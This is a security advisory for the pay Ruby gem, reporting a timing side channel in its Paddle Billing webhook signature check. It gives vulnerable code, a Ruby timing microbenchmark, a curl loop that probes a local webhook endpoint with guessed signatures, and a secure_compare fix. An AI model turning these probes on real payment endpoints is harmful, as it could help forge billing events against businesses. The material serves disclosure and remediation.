RubyGems · pay
pay-rails/pay: non-constant-time HMAC comparison in Paddle Billing webhook signature verifier
Pay::Webhooks::PaddleBillingController#valid_signature? (app/controllers/pay/webhooks/paddle_billing_controller.rb) verifies the Paddle Billing webhook signature by computing OpenSSL::HMAC.hexdigest(...) and comparing it to the attacker-supplied header value using Ruby's String#==. Ruby's == is non-constant-time — it returns as soon as the first byte mismatches — and exposes a per-byte timing side channel on the webhook signature verification path. The canonical mitigation is to use a constant-time primitive (OpenSSL.fixed_length_secure_compare / ActiveSupport::SecurityUtils.secure_compare).
/pay/webhooks/paddle_billing mount point can probe the verifier with guessed Paddle-Signature header values. Because String#== short-circuits on the first mismatching byte, the response-time distribution shifts as the prefix of the guess matches the real hex digest.subscription.created / transaction.completed) against the host application. Pay's webhook processor enqueues a Pay::Webhooks::ProcessJob for any accepted webhook, which downstream applications use to update billing state — including provisioning paid features, recording refunds, and triggering customer notifications.pay (rubygem) ≤ v11.6.1 (latest release as of 2026-05-27).
app/controllers/pay/webhooks/paddle_billing_controller.rb:
24: def valid_signature?(paddle_signature)
25: return false if paddle_signature.blank?
26:
27: ts_part, h1_part = paddle_signature.split(";")
28: _, ts = ts_part.split("=")
29: _, h1 = h1_part.split("=")
30:
31: signed_payload = "#{ts}:#{request.raw_post}"
32:
33: key = Pay::PaddleBilling.signing_secret
34: data = signed_payload
35: digest = OpenSSL::Digest.new("sha256")
36:
37: hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
38: hmac == h1 # <-- non-constant-time '=='
39: end
hmac is the 64-character hex-encoded SHA-256 HMAC of "<ts>:<raw_post>" under the application's configured Paddle Billing signing secret. The comparison with h1 (the attacker-supplied h1= token from the Paddle-Signature header) uses Ruby's native String#==, which is implemented in MRI as rb_str_equal and returns immediately on the first byte mismatch.
Pay::Engine exposes POST /pay/webhooks/paddle_billing to the public internet (Paddle requires the endpoint to be reachable). The controller is configured by default in config/routes.rb when paddle_billing is enabled.before_action :verify_signature invokes valid_signature? on every inbound request.Paddle-Signature: ts=<now>;h1=<guess> headers and measures the response time. The verifier returns early on the first mismatching byte of the hex digest; with a sufficient probe count per byte position, response-time distribution reveals when the prefix of <guess> matches the real hmac.Local Ruby microbenchmark isolating the verifier comparison path:
require 'openssl'
require 'benchmark'
require 'securerandom'
key = SecureRandom.hex(32)
payload = '1730000000:{"event_type":"transaction.completed"}'
real_hmac = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('sha256'), key, payload)
puts "real_hmac=#{real_hmac}"
def verify(real, guess)
real == guess # mirrors paddle_billing_controller.rb:38
end
guesses = {
'all-wrong' => ('0' * real_hmac.length),
'match-1byte' => real_hmac[0..0] + '0' * (real_hmac.length - 1),
'match-32byte' => real_hmac[0..31] + '0' * (real_hmac.length - 32),
'match-63byte' => real_hmac[0..62] + '0',
'exact-match' => real_hmac.dup,
}
iters = 10_000_000
3.times { guesses.each_value { |g| 1_000_000.times { real_hmac == g } } } # warmup
guesses.each do |label, g|
t = Benchmark.realtime { iters.times { real_hmac == g } }
puts "#{label.ljust(15)} avg_ns=#{(t * 1e9 / iters).round}"
end
This isolates the same String#== path used by valid_signature?. The static defect is verifiable by bundle show pay and reading line 38 of the controller.
gem install pay --version 11.6.1Minimal Rails 8 app mounting Pay::Engine with paddle_billing enabled:
gem install rails -v 8.0.2
rails new payapp --skip-test --skip-bundle
cd payapp
echo "gem 'pay', '11.6.1'" >> Gemfile
echo "gem 'paddle', '~> 2.0'" >> Gemfile
bundle install
bin/rails g pay:install
# config/initializers/pay.rb adds Pay.setup, paddle_billing config
# config/routes.rb already has 'mount Pay::Engine => "/pay"' from generator
bin/rails server &
# attacker probes the webhook endpoint
WEBHOOK="http://127.0.0.1:3000/pay/webhooks/paddle_billing"
BODY='{"event_type":"transaction.completed","data":{}}'
TS=$(date +%s)
# Try guesses with different prefix-match counts; response-time delta is the oracle
for guess in 0000000000000000000000000000000000000000000000000000000000000000 \
a000000000000000000000000000000000000000000000000000000000000000 ; do
for _ in 1 2 3; do
curl -s -w '%{time_total}\n' -o /dev/null \
-X POST -H "Paddle-Signature: ts=$TS;h1=$guess" \
-H 'Content-Type: application/json' -d "$BODY" "$WEBHOOK"
done
done
The static defect is verifiable by:
$ bundle show pay
.../gems/pay-11.6.1
$ sed -n '38p' .../gems/pay-11.6.1/app/controllers/pay/webhooks/paddle_billing_controller.rb
hmac == h1
After the fix is applied, the verifier uses ActiveSupport::SecurityUtils.secure_compare, which compares all bytes regardless of mismatch position, and the timing oracle closes.
Replace == with ActiveSupport::SecurityUtils.secure_compare (Pay is a Rails engine, so ActiveSupport is always available).
def valid_signature?(paddle_signature)
return false if paddle_signature.blank?
ts_part, h1_part = paddle_signature.split(";")
_, ts = ts_part.split("=")
_, h1 = h1_part.split("=")
signed_payload = "#{ts}:#{request.raw_post}"
key = Pay::PaddleBilling.signing_secret
data = signed_payload
digest = OpenSSL::Digest.new("sha256")
hmac = OpenSSL::HMAC.hexdigest(digest, key, data)
- hmac == h1
+ return false if h1.nil? || hmac.bytesize != h1.bytesize
+ ActiveSupport::SecurityUtils.secure_compare(hmac, h1)
end
The bytesize-equality guard ensures secure_compare does not return early on a length mismatch (it falls back to == if lengths differ on older Rails versions). For the Paddle Billing signing format the hex tag is a fixed 64 chars.
Reported by tonghuaroot (https://github.com/tonghuaroot).
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Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.